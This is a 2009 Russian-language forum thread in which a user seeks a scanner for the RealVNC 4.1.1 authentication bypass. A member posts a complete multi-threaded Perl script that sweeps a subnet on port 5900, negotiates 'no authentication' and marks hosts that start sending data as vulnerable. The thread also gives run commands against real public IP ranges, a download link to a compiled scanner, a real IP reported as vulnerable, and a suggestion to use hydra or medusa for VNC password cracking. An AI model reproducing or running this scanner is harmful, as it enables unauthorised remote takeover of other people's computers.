RealVNC Bypass Authentication Scanner

Discussion in 'Безопасность и Анонимность' started by m1lo, 11 Jun 2009.

  1. m1lo

    m1lo Banned

    Joined:
    30 May 2009
    Messages:
    154
    Likes Received:
    5
    Reputations:
    0
    помогите!! необходима прога RealVNC Bypass Authentication Scanner для линукса! а конкретно gentoo

    поставил чтото - но оказалось что это просто vnc viewоблазил весь инет но так и ненашел где скачать RealVNC Bypass Authentication Scanner для генты!! заранее спс!!
     
  2. Pernat1y

    Pernat1y Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    479
    Likes Received:
    79
    Reputations:
    7
    в MSF вроде был. попробуй :)
     
  3. fl00der

    fl00der Moderator

    Joined:
    17 Dec 2008
    Messages:
    1,027
    Likes Received:
    311
    Reputations:
    86
    Тыц-тыц-клац
    А черт, тебе же для генты, а это виндовый! Тогда не знаю. Ну пусть все равно будет.
     
    _________________________
    #3 fl00der, 11 Jun 2009
    Last edited: 11 Jun 2009
  4. m1lo

    m1lo Banned

    Joined:
    30 May 2009
    Messages:
    154
    Likes Received:
    5
    Reputations:
    0
  5. Xcontrol212

    Xcontrol212 Elder - Старейшина

    Joined:
    13 Feb 2008
    Messages:
    253
    Likes Received:
    110
    Reputations:
    7
    внц сканер вроде и под винду и под линукс....
     
  6. shellz[21h]

    shellz[21h] Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    311
    Likes Received:
    68
    Reputations:
    6
    PHP:
    #!/usr/bin/perl
    # Multi-threaded scan for OpenVNC 4.11 authentication bypass.
    # Based on Tyler Krpata's Perl scanning code.

    use strict;
    use 
    warnings;
    use 
    IO::Socket;
    use 
    threads;
    use 
    threads::shared;
    use 
    Errno qw(EAGAIN);

    # Configuration variables
    use constant VNC_PORT => 5900;
    my $splits 5# Creates 2^N processes.
    my $avg_time 5# Tweak this to get better time estimates.
    our $subnet;

    our @results shared;
    our $todo 0;
    my $orig_thread "yes";
    my $start;
    my $end;
    my $time_estimate;
    my $elapsed time;
    my $out_file;

    ++$|; 
    # To watch as the results come in, in real time.
    $subnet $ARGV[0] || ""# Get subnet from command line, else ask for it.

    while (1) {
        
    last if $subnet =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.?\*?/;
        print 
    "\nWhat subnet do you want to scan? ";
        
    chomp($subnet = <STDIN>);
        print 
    "That does not look right. Enter something like 192.168.1.*\n\n";
    }

    # Put the subnet in the form x.y.z. so we can just concatenate the hostnum.
    $subnet =~ s/^(\d{1,3}\.\d{1,3}\.\d{1,3}).*/$1/;
    $subnet .= ".";

    $out_file "VNC_" $subnet "txt";

    # Mostly a guesstimate
    $time_estimate $avg_time * (256 / (2**$splits));
    $time_estimate int ($time_estimate 60);
    $time_estimate += 4;

    print 
    "\nScanning subnet ${subnet}x -- this should take approximately
    $time_estimate minute(s).\n";
    print 
    "[!] = Vulnerable, [*] = Safe, [.] = No response.\n\n";

    CHECK: {
        
    unless ($splits >= && $splits <= 8) {
            die 
    "ERROR: Do not split $splits times--that makes no sense.\n";
        }

        
    unless ($splits <= 5) {
            
    warn "Reduce the number of splits from $splits to 5 or less if you
            get memory errors.\n\n"
    ;
        }
    }

    # Ugly, but this works.
    DivideWork() if $splits >= 1;
    DivideWork() if $splits >= 2;
    DivideWork() if $splits >= 3;
    DivideWork() if $splits >= 4;
    DivideWork() if $splits >= 5;
    DivideWork() if $splits >= 6;
    DivideWork() if $splits >= 7;
    DivideWork() if $splits >= 8;

    # Which IPs this thread scans.
    $start $todo << ($splits);
    $end $start + (256 / (2**$splits)) - 1;

    foreach (
    $start .. $end) {
        
    Scan_VNC($_);
    }

    wait until $?; # Wait for children to finish.
    exit unless $orig_thread eq "yes";

    # Only the original parent thread will continue.

    $elapsed time $elapsed;
    $elapsed /= 60;
    $elapsed int $elapsed;

    print 
    "\n\nFinished scanning ${subnet}x in $elapsed minute(s).\n";

    SaveData();

    exit;

    ####################################

    sub DivideWork {
        
    my $pid;

        
    FORK: {
            
    $todo *= 2;
            if (
    $pid fork) {
                
    # Parent
                
    ++$todo;

            } 
    elsif (defined $pid) {
                
    # Child
                
    $orig_thread "no";

            } 
    elsif ($! == EAGAIN) {
                
    # Recoverable forking error.
                
    sleep 7;
                
    redo FORK;

            } else {
                
    # Unable to fork.
                
    die "Unable to fork: $!\n";

            }
        }
    }


    sub SaveData {
        
    my $vulns 0;
        
    open(FOUND">"$out_file) or die "Cannot open $out_file -- $!";

        foreach 
    my $IP (1..254) {
            
    my $record;
            
    $record $results[$IP];

            
    unless ($record =~ m/not vulnerable/io) {
                ++
    $vulns;
                print 
    FOUND $record;
            }
        }

        print 
    FOUND "\nVulnerabilites found: $vulns";
        
    close(FOUND) or die "Cannot close $out_file -- $!";

        print 
    "Data saved to ${out_file}\n\n";
    }

    sub Scan_VNC {
        
    # Scan for OpenVNC 4.11 authentication bypass.

        
    my $hostnum shift;
        
    my $host $subnet $hostnum;
        
    my $sock;
        
    my $proto_ver;
        
    my $ignored;
        
    my $auth_type;
        
    my $sec_types;
        
    my $vnc_data;

        
    $host or die("ERROR: no host passed to Scan_VNC.\n");

        
    # The host numbers .0 and .255 are reserved; ignore them.
        
    if ($hostnum <= or $hostnum >= 255) { return; }

        
    # Format things nicely--that crazy formula just adds spaces.
        
    $results[$hostnum] = "$host";
        
    $results[$hostnum] .= (" " (int(log($hostnum)/log(10)))) . " = ";

        
    unless ($sock IO::Socket::INET->new(PeerAddr => $hostPeerPort => VNC_PORTProto => 'tcp',)) {
            
    $results[$hostnum] .= "Not vulnerable, no response.\n";
            print 
    ".";
            return;
        }

        
    # Negotiate protocol version.
        
    $sock->read($proto_ver12);
        print 
    $sock $proto_ver;

        
    # Get supported security types and ignore them.
        
    $sock->read($sec_types1);
        
    $sock->read($ignoredunpack('C'$sec_types));

        
    # Claim that we only support no authentication.
        
    print $sock "\x01";

        
    # We should get "0000" back, indicating that they won't fall back to no authentication.
        
    $sock->read($auth_type4);
        if (
    unpack('I'$auth_type)) {
            
    $results[$hostnum] .= "Not vulnerable, refused to support
            authentication type.\n"
    ;
            print 
    "*";
            
    close($sock);
            return;
        }

        
    # Client initialize.
        
    print $sock "\x01";

        
    # If the server starts sending data, we're in.
        
    $sock->read($vnc_data4);

        if (
    unpack('I'$vnc_data)) {
            
    $results[$hostnum] .= "VULNERABLE! $proto_ver\n";
            print 
    "!";
        } else {
            
    $results[$hostnum] .= "Not vulnerable, did not send data.\n";
            print 
    "*";
        }

        
    close($sock);
        return;
    }
     
  7. m1lo

    m1lo Banned

    Joined:
    30 May 2009
    Messages:
    154
    Likes Received:
    5
    Reputations:
    0
    shellz[21h] пасиб конечно, но мона пояснить как юзать скрипт
     
  8. shellz[21h]

    shellz[21h] Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    311
    Likes Received:
    68
    Reputations:
    6
    замени 31 строчку кода на
    Code:
     last if $subnet =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.?\*?/; 
    там косяк в регулярке.
    запускается вот так:
    ]$ perl vnc.pl 85.18.3 - будет сканить 85.18.3.*
     
  9. m1lo

    m1lo Banned

    Joined:
    30 May 2009
    Messages:
    154
    Likes Received:
    5
    Reputations:
    0
    ок спс
    буду пробывать
     
  10. m1lo

    m1lo Banned

    Joined:
    30 May 2009
    Messages:
    154
    Likes Received:
    5
    Reputations:
    0
    так я в перле не шарю вообще

     
  11. shellz[21h]

    shellz[21h] Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    311
    Likes Received:
    68
    Reputations:
    6
    http://damaged.no-ip.com/pub-dir/linux/admin-tools/VNC_bypauth-linux.tar.gz то что просил ;)
     
    1 person likes this.
  12. m1lo

    m1lo Banned

    Joined:
    30 May 2009
    Messages:
    154
    Likes Received:
    5
    Reputations:
    0
    спс скачал, помощь всеравно нужна)))

     
  13. shellz[21h]

    shellz[21h] Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    311
    Likes Received:
    68
    Reputations:
    6
    Code:
    eval@fork:~$ ./VNC_bypauth -p 5900 -i 213.95.20.1-213.95.20.254 -vnc -vv
    
     
  14. m1lo

    m1lo Banned

    Joined:
    30 May 2009
    Messages:
    154
    Likes Received:
    5
    Reputations:
    0
    А ПО МАСКЕ НЕЗЯ НИКАК?
     
  15. shellz[21h]

    shellz[21h] Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    311
    Likes Received:
    68
    Reputations:
    6
    да же не знаю, попробуй так
    Code:
    ./VNC_bypauth -p 5900 -i 213.95.20.1-213.95.[B]254.254[/B] -vnc -vv 
     
  16. m1lo

    m1lo Banned

    Joined:
    30 May 2009
    Messages:
    154
    Likes Received:
    5
    Reputations:
    0
    ну да черт с ним, если вместо ипа писать например 213.95.*.* то постит ошибку!! ладно буду юзать как есть!! спс
     
  17. m1lo

    m1lo Banned

    Joined:
    30 May 2009
    Messages:
    154
    Likes Received:
    5
    Reputations:
    0
    все работает норм, сканет норм.

    вот только еси мона поясните
    при каждом сканировании в последней колонке бываю 4 типа вида
    not_vnc4:nothing received ну и т.д. поясните какой что значит!
     
  18. m1lo

    m1lo Banned

    Joined:
    30 May 2009
    Messages:
    154
    Likes Received:
    5
    Reputations:
    0
    вот ща сканил, еще один тип
    94.232.29.127 :5900 vnc4:VULNERABLE
     
  19. Never Mind

    Never Mind New Member

    Joined:
    11 Jul 2008
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    m1lo
    не убивай себе мозг
    VNC быстро чекают medusa и hydra
    hydra лучше но в medusa есть папка doc в ней все разжевано ... начни с нее
    а потом на hydra пересядешь, у них синтаксис одинаковый почти.
    ... удачи =)
     
  20. m1lo

    m1lo Banned

    Joined:
    30 May 2009
    Messages:
    154
    Likes Received:
    5
    Reputations:
    0
    попробую)))) спс